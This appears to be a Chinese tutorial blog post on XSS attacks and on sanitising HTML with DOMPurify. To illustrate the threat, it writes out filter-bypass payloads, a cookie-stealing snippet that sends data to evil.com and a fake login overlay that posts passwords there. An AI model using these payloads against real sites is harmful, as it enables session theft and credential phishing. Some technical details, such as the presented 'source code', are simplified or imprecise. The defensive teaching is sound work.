什么是XSS攻击,怎么预防,一篇文章带你搞清楚

前言

做富文本编辑器或者处理用户生成内容的时候,总会遇到一个绕不开的问题:怎么防 XSS 攻击?看着那些花样百出的攻击代码,<img src=x onerror=alert(1)>javascript:alert(1) 这些,一个不小心就可能让用户的 Cookie 被偷走。

研究了一圈才发现:XSS 防御这事儿说难也难,说简单也简单。关键是要搞清楚攻击原理,然后用对工具。DOMPurify 就是这么个靠谱的工具------由安全专家写的,专门用来净化 HTML,防止 XSS 攻击。

先抛几个问题,看看你是不是也有同样的困惑:

  • XSS 攻击到底是怎么实现的?有哪些常见手法?
  • 为什么用正则表达式过滤 HTML 总是被绕过?
  • DOMPurify 是怎么做到既安全又高效的?
  • 它的底层原理是什么?为什么比其他方案好用?
  • 在生产环境中怎么用才最安全?(这个很关键)

什么是 XSS 攻击?

基本概念

XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击。攻击者通过在网页中注入恶意脚本,当其他用户浏览该网页时,恶意脚本就会执行。

想想也是,网页就是 HTML + JavaScript 组成的,如果你把用户输入的内容直接插到页面里,用户输入个 <script> 标签,浏览器当然会老老实实执行。

XSS 的三种类型

graph TD A[XSS 攻击类型] --> B[存储型 XSS] A --> C[反射型 XSS] A --> D[DOM 型 XSS] B --> B1[存储在数据库] B --> B2[持久性攻击] B --> B3[危害最大] C --> C1[URL 参数传递] C --> C2[一次性攻击] C --> C3[需要诱导点击] D --> D1[纯客户端] D --> D2[不经过服务器] D --> D3[修改 DOM 结构]

1. 存储型 XSS(最危险)

恶意脚本被存储在服务器数据库中,每次用户访问都会触发。

javascript 复制代码
// 攻击场景:用户在评论区输入
const userComment = '<img src=x onerror="fetch(\'http://evil.com?cookie=\'+document.cookie)">';

// 服务器直接存储,然后在页面展示
document.getElementById('comments').innerHTML = userComment;
// 完了,所有看到这条评论的人的 Cookie 都被偷走了

2. 反射型 XSS

恶意脚本通过 URL 参数传递,服务器直接将其反射到页面中。

javascript 复制代码
// URL: https://example.com/search?q=<script>alert(document.cookie)</script>

// 后端代码(错误示范)
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>搜索结果:${query}</h1>`);  // 直接输出用户输入,危险!
});

3. DOM 型 XSS

纯前端的问题,恶意代码通过修改 DOM 结构触发。

javascript 复制代码
// 从 URL 获取参数并直接插入 DOM
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
document.getElementById('welcome').innerHTML = `欢迎 ${name}`;

// 攻击 URL: ?name=<img src=x onerror=alert(1)>

XSS 攻击的常见手法

攻击者的套路可多了,看几个经典的:

1. 事件处理器注入

html 复制代码
<!-- 最常见的 -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>

<!-- 鼠标事件 -->
<div onmouseover=alert(1)>悬停试试</div>
<a onclick=alert(1)>点我</a>

<!-- 表单事件 -->
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus><option>test</select>

2. JavaScript 伪协议

html 复制代码
<a href="javascript:alert(1)">点击</a>
<iframe src="javascript:alert(1)"></iframe>
<object data="javascript:alert(1)">

3. 编码绕过

html 复制代码
<!-- HTML 实体编码 -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

<!-- URL 编码 -->
<a href="javascript:%61%6c%65%72%74%28%31%29">点击</a>

<!-- Unicode 编码 -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

4. 标签嵌套绕过

html 复制代码
<svg><script>alert(1)</script></svg>
<math><mtext><script>alert(1)</script></mtext></math>
<table><tr><td><img src=x onerror=alert(1)></td></tr></table>

XSS 攻击能做什么?

别小看 XSS,它能干的坏事可不少:

攻击目标 具体手段 后果
窃取用户信息 读取 Cookie、localStorage 账号被盗,隐私泄露
劫持用户会话 获取 session token 冒充用户操作
钓鱼攻击 伪造登录框 骗取密码
传播蠕虫 自动转发攻击代码 大规模感染
挖矿 运行挖矿脚本 占用用户资源
页面篡改 修改页面内容 散布虚假信息

真实案例:

javascript 复制代码
// 窃取 Cookie 并发送到攻击者服务器
<img src=x onerror="
  fetch('http://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie,
      localStorage: JSON.stringify(localStorage),
      url: location.href
    })
  })
">

// 伪造登录框进行钓鱼
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999">
  <form action="http://evil.com/phishing" style="position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px">
    <h2>会话已过期,请重新登录</h2>
    <input name="username" placeholder="用户名">
    <input name="password" type="password" placeholder="密码">
    <button>登录</button>
  </form>
</div>

为什么正则表达式防不住 XSS?

正则过滤的困境

很多人第一反应是用正则表达式过滤危险字符:

javascript 复制代码
// 天真的正则过滤(错误示范)
function sanitize(html) {
  return html
    .replace(/<script/gi, '')
    .replace(/javascript:/gi, '')
    .replace(/onerror/gi, '')
    .replace(/onclick/gi, '');
}

// 看起来很完美?
console.log(sanitize('<script>alert(1)</script>'));  
// 输出: >alert(1)  好像成功了?

但攻击者有一万种绕过方式:

javascript 复制代码
// 绕过方式 1:大小写混合
'<ScRiPt>alert(1)</sCrIpT>'

// 绕过方式 2:双写
'<scr<script>ipt>alert(1)</script>'

// 绕过方式 3:编码
'<img src=x onerror="&#97;lert(1)">'

// 绕过方式 4:换行符和空白字符
'<img src=x onerror=\nalert(1)>'
'<img/src=x/onerror=alert(1)>'

// 绕过方式 5:利用 SVG 和 MathML
'<svg><script>alert(1)</script></svg>'

// 绕过方式 6:使用其他事件
'<body onload=alert(1)>'
'<input onfocus=alert(1) autofocus>'
'<marquee onstart=alert(1)>'

为什么正则不行?

问题的根源在于:

  1. HTML 规范太复杂:标签、属性、编码、嵌套规则千变万化
  2. 浏览器容错性强<img/src=x> 这种畸形 HTML 也能解析
  3. 攻击手法在进化:新的绕过技巧不断出现
  4. 正则是字符串匹配:它不理解 HTML 的语义和结构

用字符串处理 HTML 就像用剪刀修汽车------工具不对,怎么修都是问题。

javascript 复制代码
// 正则看到的只是字符
'<img src=x onerror=alert(1)>'
// ↓
// 一串字符,没有结构信息

// 但浏览器解析成的是
{
  tag: 'img',
  attributes: {
    src: 'x',
    onerror: 'alert(1)'  // ← 危险!会被执行
  }
}

DOMPurify:正确的防御方式

什么是 DOMPurify?

DOMPurify 是一个专门用来净化 HTML 的库,由安全专家团队开发和维护。从 2014 年开始到现在,已经是个非常成熟的方案了。

核心特点:

  • 超快:利用浏览器原生 DOM 解析,比正则快得多
  • 超小:gzip 后只有 12KB,比 OClif 小 80%
  • 超安全:由 Cure53 安全团队维护,有漏洞赏金计划
  • 开箱即用:默认配置就很安全,不需要复杂配置
  • 高度可配置:支持白名单、钩子函数等高级功能

快速上手

使用超级简单:

javascript 复制代码
// 浏览器端
import DOMPurify from 'dompurify';

const dirty = '<img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);

console.log(clean);  // <img src="x">
// onerror 被去掉了,安全!
// Node.js 端(需要 jsdom)
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';

const window = new JSDOM('').window;
const purify = DOMPurify(window);

const clean = purify.sanitize('<img src=x onerror=alert(1)>');
console.log(clean);  // <img src="x">

实战案例

看几个实际场景:

1. 富文本编辑器

javascript 复制代码
// 用户输入的富文本内容
const userContent = `
  <h1>我的文章</h1>
  <p>这是正常内容</p>
  <img src=x onerror=alert(1)>
  <script>alert('XSS')</script>
`;

// 保存到数据库前先净化
const safeContent = DOMPurify.sanitize(userContent);

console.log(safeContent);
// 输出:
// <h1>我的文章</h1>
// <p>这是正常内容</p>
// <img src="x">
// ← script 标签完全被删除了

2. 评论系统

javascript 复制代码
// 用户评论
function saveComment(content) {
  // 允许一些基本的 HTML 格式
  const clean = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['b', 'i', 'u', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href', 'target']
  });
  
  // 存入数据库
  db.comments.insert({ content: clean });
}

// 测试
saveComment('<p>这是<b>粗体</b></p><script>alert(1)</script>');
// 存入数据库的是: <p>这是<b>粗体</b></p>
// script 被删除,但安全的格式被保留

3. Markdown 渲染

javascript 复制代码
import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';

const md = new MarkdownIt({ html: true });  // 允许 HTML

function renderMarkdown(markdown) {
  // 先用 markdown-it 渲染
  const html = md.render(markdown);
  
  // 再用 DOMPurify 净化(防止 markdown 中插入的 HTML 攻击)
  return DOMPurify.sanitize(html);
}

// 测试
const markdown = `
# 标题

[链接](javascript:alert(1))

<img src=x onerror=alert(1)>
`;

console.log(renderMarkdown(markdown));
// 危险的 javascript: 和 onerror 都被清理了

DOMPurify 的底层原理

核心思路:利用浏览器原生能力

DOMPurify 的核心思想是:不要自己写 HTML 解析器,而是让浏览器来解析

graph LR A[恶意 HTML 字符串] --> B[浏览器 DOM 解析器] B --> C[DOM 树] C --> D[遍历 DOM 树] D --> E{检查节点} E -->|在白名单| F[保留] E -->|不在白名单| G[删除] F --> H[安全的 HTML] G --> H

具体步骤:

1. HTML 字符串 → DOM 树

javascript 复制代码
// 简化的原理示意(实际实现更复杂)
function simplePurify(dirtyHTML) {
  // 创建一个临时容器
  const container = document.createElement('div');
  
  // 让浏览器解析 HTML
  container.innerHTML = dirtyHTML;
  
  // 现在 dirtyHTML 已经变成了 DOM 树
  // 浏览器会自动处理各种编码、标签闭合等问题
  return container;
}

这一步的好处是:

  • 浏览器解析器经过多年优化:性能好,兼容性强
  • 自动处理各种边界情况:畸形 HTML、编码、嵌套等
  • 不需要自己实现复杂的解析逻辑

2. 遍历 DOM 树 + 白名单过滤

javascript 复制代码
// 白名单配置(简化版)
const ALLOWED_TAGS = {
  'div': true, 'span': true, 'p': true,
  'a': true, 'img': true, 'b': true, 'i': true
  // ... 更多安全标签
};

const ALLOWED_ATTRS = {
  'href': true, 'src': true, 'alt': true, 'title': true
  // ... 更多安全属性
};

const ALLOWED_PROTOCOLS = {
  'http:': true, 'https:': true, 'mailto:': true
  // 注意:不包括 javascript:
};

// 遍历并清理 DOM 树
function cleanDOMTree(node) {
  // 检查标签名
  if (!ALLOWED_TAGS[node.tagName.toLowerCase()]) {
    node.remove();  // 不在白名单,删除
    return;
  }
  
  // 检查属性
  Array.from(node.attributes).forEach(attr => {
    const name = attr.name.toLowerCase();
    
    // 属性不在白名单
    if (!ALLOWED_ATTRS[name]) {
      node.removeAttribute(name);
      return;
    }
    
    // 检查事件处理器(on* 属性)
    if (name.startsWith('on')) {
      node.removeAttribute(name);  // 删除所有事件处理器
      return;
    }
    
    // 检查 URL 协议
    if (name === 'href' || name === 'src') {
      try {
        const url = new URL(attr.value, window.location.href);
        if (!ALLOWED_PROTOCOLS[url.protocol]) {
          node.removeAttribute(name);  // 危险协议,删除
        }
      } catch (e) {
        node.removeAttribute(name);  // 无效 URL,删除
      }
    }
  });
  
  // 递归处理子节点
  Array.from(node.childNodes).forEach(child => {
    if (child.nodeType === 1) {  // 元素节点
      cleanDOMTree(child);
    }
  });
}

3. 特殊处理:Shadow DOM 和模板

javascript 复制代码
// DOMPurify 还会递归处理 Shadow DOM
function cleanShadowDOM(element) {
  if (element.shadowRoot) {
    // 净化 Shadow DOM 内容
    cleanDOMTree(element.shadowRoot);
  }
  
  // 处理 <template> 标签
  if (element.tagName === 'TEMPLATE') {
    cleanDOMTree(element.content);
  }
}

4. DOM Clobbering 防护

DOM Clobbering 是一种通过 HTML 属性污染 JavaScript 全局变量的攻击:

html 复制代码
<!-- 攻击示例 -->
<form name="getElementById">
  <input name="alert">
</form>

<script>
  // 现在 document.getElementById 被覆盖了!
  document.getElementById('test');  // 报错:不是函数
</script>

DOMPurify 的防护措施:

javascript 复制代码
// 配置:启用命名空间隔离
const clean = DOMPurify.sanitize(dirty, {
  SANITIZE_NAMED_PROPS: true
});

// 输入: <img id="alert">
// 输出: <img id="user-content-alert">
// ↑ 自动加前缀,避免污染全局变量

为什么 DOMPurify 快?

性能对比:

方案 处理 10KB HTML 原理
正则表达式 ~5ms 字符串匹配
自建解析器 ~20ms 纯 JS 实现解析
DOMPurify ~2ms 浏览器原生 DOM 解析

DOMPurify 快的原因:

  1. 利用浏览器原生 C++ 实现的 DOM 解析器:比 JS 快几十倍
  2. 直接操作 DOM 树:不需要字符串正则匹配
  3. 一次遍历完成所有检查:不需要多次处理

源码解析(核心部分)

看一下 DOMPurify 的核心源码(简化版):

javascript 复制代码
// 真实的 DOMPurify 核心逻辑(简化)
const DOMPurify = (function() {
  // 配置默认白名单
  const DEFAULT_ALLOWED_TAGS = [
    'a', 'abbr', 'address', 'area', 'article',
    'b', 'bdi', 'bdo', 'blockquote', 'br',
    'caption', 'cite', 'code', 'col', 'colgroup',
    'div', 'em', 'figcaption', 'figure', 'footer',
    'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
    'header', 'hr', 'i', 'img', 'li', 'main',
    'mark', 'nav', 'ol', 'p', 'pre', 'section',
    'small', 'span', 'strong', 'sub', 'sup',
    'table', 'tbody', 'td', 'th', 'thead', 'tr', 'ul'
    // ... 更多
  ];
  
  return {
    sanitize: function(dirty, config = {}) {
      // 创建 DOM 容器
      const body = document.createElement('body');
      
      // 让浏览器解析 HTML
      body.innerHTML = dirty;
      
      // 遍历清理
      _sanitizeElements(body, config);
      _sanitizeAttributes(body, config);
      _sanitizeShadowDOM(body, config);
      
      // 返回安全的 HTML
      return body.innerHTML;
    }
  };
  
  function _sanitizeElements(currentNode, config) {
    const nodeName = currentNode.nodeName.toLowerCase();
    
    // 不在白名单,删除
    if (!DEFAULT_ALLOWED_TAGS.includes(nodeName)) {
      currentNode.remove();
      return;
    }
    
    // 递归处理子节点
    Array.from(currentNode.childNodes).forEach(node => {
      if (node.nodeType === 1) {  // 元素节点
        _sanitizeElements(node, config);
      }
    });
  }
  
  function _sanitizeAttributes(currentNode, config) {
    Array.from(currentNode.attributes || []).forEach(attr => {
      const lcName = attr.name.toLowerCase();
      
      // 删除所有事件处理器
      if (lcName.startsWith('on')) {
        currentNode.removeAttribute(attr.name);
        return;
      }
      
      // 检查 URL 协议
      if (lcName === 'href' || lcName === 'src') {
        const value = attr.value.trim();
        
        // 删除危险协议
        if (value.startsWith('javascript:') ||
            value.startsWith('data:') ||
            value.startsWith('vbscript:')) {
          currentNode.removeAttribute(attr.name);
        }
      }
    });
  }
  
  function _sanitizeShadowDOM(currentNode, config) {
    // 处理 Shadow DOM
    if (currentNode.shadowRoot) {
      _sanitizeElements(currentNode.shadowRoot, config);
      _sanitizeAttributes(currentNode.shadowRoot, config);
    }
    
    // 处理 template
    if (currentNode.content) {
      _sanitizeElements(currentNode.content, config);
      _sanitizeAttributes(currentNode.content, config);
    }
  }
})();

DOMPurify 高级配置

1. 自定义允许的标签和属性

javascript 复制代码
// 只允许特定标签
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'u', 'a', 'p'],
  ALLOWED_ATTR: ['href']
});

// 在默认白名单基础上添加
const clean = DOMPurify.sanitize(dirty, {
  ADD_TAGS: ['my-component'],
  ADD_ATTR: ['data-id']
});

// 禁止特定标签(其他都允许)
const clean = DOMPurify.sanitize(dirty, {
  FORBID_TAGS: ['style', 'form', 'input']
});

2. 使用配置文件

javascript 复制代码
// 只允许 HTML(不允许 SVG 和 MathML)
const clean = DOMPurify.sanitize(dirty, {
  USE_PROFILES: { html: true }
});

// 只允许 SVG
const clean = DOMPurify.sanitize(dirty, {
  USE_PROFILES: { svg: true }
});

// HTML + SVG
const clean = DOMPurify.sanitize(dirty, {
  USE_PROFILES: { html: true, svg: true }
});

3. 处理 Custom Elements

javascript 复制代码
// 允许自定义元素
const clean = DOMPurify.sanitize(dirty, {
  CUSTOM_ELEMENT_HANDLING: {
    // 允许以 my- 开头的标签
    tagNameCheck: /^my-/,
    
    // 允许包含 data 的属性
    attributeNameCheck: /^data-/,
    
    // 允许自定义内置元素
    allowCustomizedBuiltInElements: true
  }
});

// 示例
const html = '<my-button data-id="123" onclick="alert(1)">Click</my-button>';
const clean = DOMPurify.sanitize(html, {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: /^my-/,
    attributeNameCheck: /^data-/
  }
});
// 结果: <my-button data-id="123">Click</my-button>
// ↑ onclick 被删除,但 my-button 和 data-id 被保留

4. 钩子函数(Hooks)

javascript 复制代码
// 在净化前后执行自定义逻辑
DOMPurify.addHook('beforeSanitizeElements', (currentNode) => {
  console.log('处理节点:', currentNode.nodeName);
});

DOMPurify.addHook('uponSanitizeAttribute', (currentNode, data) => {
  // 自定义属性处理逻辑
  if (data.attrName === 'target' && data.attrValue === '_blank') {
    // 给 target="_blank" 的链接自动加上 rel="noopener"
    currentNode.setAttribute('rel', 'noopener noreferrer');
  }
});

const clean = DOMPurify.sanitize('<a href="https://example.com" target="_blank">链接</a>');
// 结果: <a href="https://example.com" target="_blank" rel="noopener noreferrer">链接</a>

5. 返回 DOM 而非字符串

javascript 复制代码
// 返回 DOM 节点(性能更好,避免二次解析)
const cleanDOM = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true
});
document.body.appendChild(cleanDOM);

// 返回 DocumentFragment
const fragment = DOMPurify.sanitize(dirty, {
  RETURN_DOM_FRAGMENT: true
});

6. 模板系统支持

javascript 复制代码
// 如果你的模板系统使用 {{ }} 或 ${ } 语法
const clean = DOMPurify.sanitize(dirty, {
  SAFE_FOR_TEMPLATES: true
});

// 输入: '<div>{{username}}</div><img src=x onerror=alert(1)>'
// 输出: '<div>{{username}}</div><img src="x">'
// ↑ 模板语法被保留,但 XSS 被清除

生产环境最佳实践

1. 前后端双重验证

javascript 复制代码
// ❌ 错误:只在前端验证
// 前端(不安全)
const clean = DOMPurify.sanitize(userInput);
fetch('/api/comments', {
  method: 'POST',
  body: JSON.stringify({ content: clean })
});

// ✅ 正确:前后端都验证
// 前端
const clean = DOMPurify.sanitize(userInput);
fetch('/api/comments', {
  method: 'POST',
  body: JSON.stringify({ content: clean })
});

// 后端(Node.js)
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';

app.post('/api/comments', (req, res) => {
  const window = new JSDOM('').window;
  const purify = DOMPurify(window);
  
  // 再次净化,防止前端被绕过
  const clean = purify.sanitize(req.body.content);
  
  db.comments.insert({ content: clean });
  res.json({ success: true });
});

2. 配置合理的白名单

javascript 复制代码
// 根据实际需求配置白名单
const commentConfig = {
  // 评论只允许简单格式
  ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'u', 'a', 'code', 'pre'],
  ALLOWED_ATTR: ['href'],
  
  // 不允许 data URI(防止嵌入脚本)
  ALLOW_DATA_ATTR: false,
  
  // 限制 URL 协议
  ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto):)/i
};

const articleConfig = {
  // 文章允许更丰富的格式
  ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'u', 'a', 'img', 'h1', 'h2', 'h3', 
                  'ul', 'ol', 'li', 'blockquote', 'code', 'pre'],
  ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
  
  // 图片允许 data URI(但要小心大小限制)
  ADD_DATA_URI_TAGS: ['img']
};

3. 监控和日志

javascript 复制代码
// 记录被清理的内容,用于安全审计
function sanitizeWithLog(html, userId) {
  const clean = DOMPurify.sanitize(html);
  
  // 检查是否有内容被清理
  if (html !== clean) {
    // 记录日志
    logger.warn('XSS attempt detected', {
      userId,
      original: html,
      cleaned: clean,
      removed: DOMPurify.removed,
      timestamp: new Date()
    });
    
    // 严重的攻击尝试可以触发告警
    if (DOMPurify.removed.length > 5) {
      alertSecurity('Potential XSS attack', { userId, html });
    }
  }
  
  return clean;
}

4. Content Security Policy (CSP)

DOMPurify + CSP = 双重保险:

html 复制代码
<!-- 在 HTML 中设置 CSP -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'">
// 或在服务器响应头中设置
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; object-src 'none';"
  );
  next();
});

CSP 的作用:

  • 即使 XSS 绕过了 DOMPurify,CSP 也能阻止脚本执行
  • 限制资源加载来源
  • 阻止内联脚本执行(除非明确允许)

5. 定期更新

javascript 复制代码
// 检查 DOMPurify 版本
console.log(DOMPurify.version);  // 当前版本

// package.json 中定期更新
{
  "dependencies": {
    "dompurify": "^3.0.0",  // 使用最新稳定版
    "jsdom": "^23.0.0"      // Node.js 环境需要
  }
}

为什么要更新?

  • 新的 XSS 攻击手法不断出现
  • 浏览器行为可能变化
  • 安全漏洞修复

6. 性能优化

javascript 复制代码
// 批量处理时复用实例
class CommentSanitizer {
  constructor() {
    // 预配置
    this.config = {
      ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'a'],
      ALLOWED_ATTR: ['href']
    };
  }
  
  sanitize(html) {
    return DOMPurify.sanitize(html, this.config);
  }
  
  sanitizeBatch(htmlArray) {
    return htmlArray.map(html => this.sanitize(html));
  }
}

// 使用
const sanitizer = new CommentSanitizer();
const cleanComments = sanitizer.sanitizeBatch(userComments);

7. Trusted Types 集成(现代浏览器)

javascript 复制代码
// 配合 Trusted Types API 使用
const policy = window.trustedTypes.createPolicy('default', {
  createHTML: (dirty) => {
    return DOMPurify.sanitize(dirty, {
      RETURN_TRUSTED_TYPE: false
    });
  }
});

// 使用
element.innerHTML = policy.createHTML(userInput);
// 这样可以利用浏览器的 Trusted Types 保护

常见陷阱和注意事项

1. 不要在净化后再修改 HTML

javascript 复制代码
// ❌ 错误:净化后又手动拼接
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = `<div class="comment">${clean}</div>`;
// 如果 clean 里有引号,还是可能被注入

// ✅ 正确:先拼接再净化
const html = `<div class="comment">${userInput}</div>`;
element.innerHTML = DOMPurify.sanitize(html);

2. 注意 jsdom 版本(Node.js 环境)

javascript 复制代码
// jsdom 版本太老会有安全问题
// ❌ 不要用:jsdom@19.0.0 或更早版本
// ✅ 推荐:jsdom@20.0.0 或更新版本

// package.json
{
  "dependencies": {
    "jsdom": "^23.0.0"  // 使用最新版
  }
}

3. 不要用 happy-dom(不安全)

javascript 复制代码
// ❌ 不推荐:happy-dom 目前不够安全
import { Window } from 'happy-dom';
const window = new Window();
const purify = DOMPurify(window);
// 可能会被绕过!

// ✅ 推荐:使用 jsdom
import { JSDOM } from 'jsdom';
const window = new JSDOM('').window;
const purify = DOMPurify(window);

4. 小心 Data URIs

javascript 复制代码
// Data URI 可以嵌入 JavaScript
const dangerous = '<img src="data:text/html,<script>alert(1)</script>">';

// DOMPurify 默认会清理危险的 Data URI
const clean = DOMPurify.sanitize(dangerous);
console.log(clean);  // <img>  ← src 被删除

// 如果确实需要 Data URI(比如图片),要限制类型
const config = {
  ADD_DATA_URI_TAGS: ['img'],
  ALLOWED_URI_REGEXP: /^data:image\//  // 只允许图片的 Data URI
};

5. 不要禁用 SANITIZE_DOM

javascript 复制代码
// ❌ 危险:禁用 DOM Clobbering 保护
const clean = DOMPurify.sanitize(dirty, {
  SANITIZE_DOM: false  // 别这么做!
});

// ✅ 保持默认
const clean = DOMPurify.sanitize(dirty);
// 默认就是 SANITIZE_DOM: true

实战案例分析

案例 1:社交媒体平台

需求:

  • 用户可以发布包含图片、链接的内容
  • 支持一些简单的文本格式
  • 防止 XSS 攻击
javascript 复制代码
class PostSanitizer {
  constructor() {
    this.config = {
      // 允许的标签
      ALLOWED_TAGS: [
        'p', 'br', 'b', 'i', 'u', 'a', 'img',
        'ul', 'ol', 'li', 'blockquote'
      ],
      
      // 允许的属性
      ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
      
      // 链接自动加 noopener
      ADD_ATTR: ['target'],
      
      // 限制 URL 协议
      ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto):)/i,
      
      // 不允许 Data URI(避免嵌入恶意内容)
      ALLOW_DATA_ATTR: false
    };
    
    // 添加钩子:给外部链接自动加 rel="noopener noreferrer"
    DOMPurify.addHook('afterSanitizeAttributes', (node) => {
      if (node.tagName === 'A') {
        const href = node.getAttribute('href');
        if (href && !href.startsWith('/')) {
          node.setAttribute('target', '_blank');
          node.setAttribute('rel', 'noopener noreferrer');
        }
      }
    });
  }
  
  sanitize(html) {
    const clean = DOMPurify.sanitize(html, this.config);
    
    // 记录被清理的内容
    if (DOMPurify.removed.length > 0) {
      console.warn('Removed dangerous elements:', DOMPurify.removed);
    }
    
    return clean;
  }
}

// 使用
const sanitizer = new PostSanitizer();
const userPost = `
  <p>Check out my website!</p>
  <a href="https://example.com">Click here</a>
  <img src="https://example.com/image.jpg" alt="image">
  <script>alert('XSS')</script>
`;

const clean = sanitizer.sanitize(userPost);
console.log(clean);
// 输出:
// <p>Check out my website!</p>
// <a href="https://example.com" target="_blank" rel="noopener noreferrer">Click here</a>
// <img src="https://example.com/image.jpg" alt="image">
// ← script 被删除,链接自动加了安全属性

案例 2:在线代码编辑器

需求:

  • 显示用户提交的代码(可能包含 HTML)
  • 需要语法高亮
  • 防止代码执行
javascript 复制代码
import hljs from 'highlight.js';
import DOMPurify from 'dompurify';

function displayCode(code, language) {
  // 1. 先用语法高亮库处理
  const highlighted = hljs.highlight(code, { language }).value;
  
  // 2. 再用 DOMPurify 净化(防止高亮库的 XSS 漏洞)
  const clean = DOMPurify.sanitize(highlighted, {
    ALLOWED_TAGS: ['span', 'code', 'pre'],
    ALLOWED_ATTR: ['class']  // 只允许 class(用于语法高亮样式)
  });
  
  // 3. 安全地插入页面
  const pre = document.createElement('pre');
  const codeElement = document.createElement('code');
  codeElement.className = `language-${language}`;
  codeElement.innerHTML = clean;
  pre.appendChild(codeElement);
  
  return pre;
}

// 测试
const maliciousCode = `
function hello() {
  console.log('Hello');
}
// <img src=x onerror=alert(1)>
`;

const codeBlock = displayCode(maliciousCode, 'javascript');
document.body.appendChild(codeBlock);
// 代码被正确高亮显示,但 img 标签被清理了

案例 3:Markdown 编辑器

需求:

  • 支持 Markdown 语法
  • 允许嵌入 HTML
  • 防止 XSS
javascript 复制代码
import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';

class SafeMarkdownRenderer {
  constructor() {
    this.md = new MarkdownIt({
      html: true,  // 允许 HTML
      linkify: true,  // 自动识别链接
      typographer: true
    });
    
    this.purifyConfig = {
      ALLOWED_TAGS: [
        'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
        'p', 'br', 'b', 'i', 'u', 'strong', 'em',
        'a', 'img', 'ul', 'ol', 'li',
        'blockquote', 'code', 'pre',
        'table', 'thead', 'tbody', 'tr', 'th', 'td'
      ],
      ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class'],
      KEEP_CONTENT: true  // 删除标签但保留内容
    };
  }
  
  render(markdown) {
    // 1. Markdown 转 HTML
    const html = this.md.render(markdown);
    
    // 2. 净化 HTML
    const clean = DOMPurify.sanitize(html, this.purifyConfig);
    
    return clean;
  }
}

// 使用
const renderer = new SafeMarkdownRenderer();
const markdown = `
# 标题

这是一段文字,包含 **粗体** 和 *斜体*。

[普通链接](https://example.com)
[危险链接](javascript:alert(1))

\`\`\`javascript
console.log('Hello');
\`\`\`

<img src=x onerror=alert(1)>
<script>alert('XSS')</script>
`;

const html = renderer.render(markdown);
console.log(html);
// 正常的 Markdown 被渲染,危险的 JavaScript 被清除

与其他方案对比

DOMPurify vs 正则表达式

特性 DOMPurify 正则表达式
安全性 非常高,专业安全团队维护 低,容易被绕过
性能 快(利用浏览器原生解析) 慢(复杂正则性能差)
可维护性 高(配置化) 低(难以覆盖所有情况)
更新成本 低(只需更新库) 高(需要自己跟踪新攻击手法)
误杀率 低(精确识别) 高(正常内容也可能被过滤)

DOMPurify vs 模板引擎自带转义

javascript 复制代码
// Vue.js 自动转义
<template>
  <div>{{ userInput }}</div>  <!-- 自动转义,安全 -->
  <div v-html="userInput"></div>  <!-- 不转义,危险!需要手动净化 -->
</template>

// React 自动转义
function Component() {
  return (
    <div>{userInput}</div>  {/* 自动转义,安全 */}
    <div dangerouslySetInnerHTML={{ __html: userInput }} />  {/* 不转义,危险! */}
  );
}

// 正确做法:用 DOMPurify 净化后再用 v-html 或 dangerouslySetInnerHTML
const clean = DOMPurify.sanitize(userInput);
<div v-html="clean"></div>

要点:

  • 模板引擎的转义只能防止插值注入
  • 不能防止 v-html / dangerouslySetInnerHTML 的 XSS
  • 需要 DOMPurify 配合使用

DOMPurify vs CSP (Content Security Policy)

它们是互补的,不是替代关系:

防御层 DOMPurify CSP
作用位置 输入时净化 浏览器执行时拦截
防御策略 过滤恶意代码 限制代码执行
优势 精确控制、跨浏览器 即使 XSS 绕过也能拦截
劣势 可能被绕过 配置复杂、有兼容性问题

最佳实践:DOMPurify + CSP 双重保护

javascript 复制代码
// 1. 输入时用 DOMPurify 净化
const clean = DOMPurify.sanitize(userInput);

// 2. 设置 CSP(服务器端)
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
  );
  next();
});

// 即使 DOMPurify 被绕过,CSP 也能拦截脚本执行

总结

研究完 XSS 防御和 DOMPurify,我的理解是:

原理层面

  • XSS 攻击的本质是注入恶意代码,利用浏览器执行
  • 正则过滤不靠谱,HTML 规范太复杂,绕过方式太多
  • DOMPurify 的核心思路是利用浏览器原生 DOM 解析器 + 白名单过滤
  • 它不自己解析 HTML,而是让浏览器解析成 DOM 树,然后遍历清理

实用层面

  • DOMPurify 使用简单:一行代码就能用
  • 性能优秀:比正则快,比自建解析器快得多
  • 配置灵活:支持白名单、钩子、自定义元素等
  • 安全可靠:由专业安全团队维护,有漏洞赏金计划
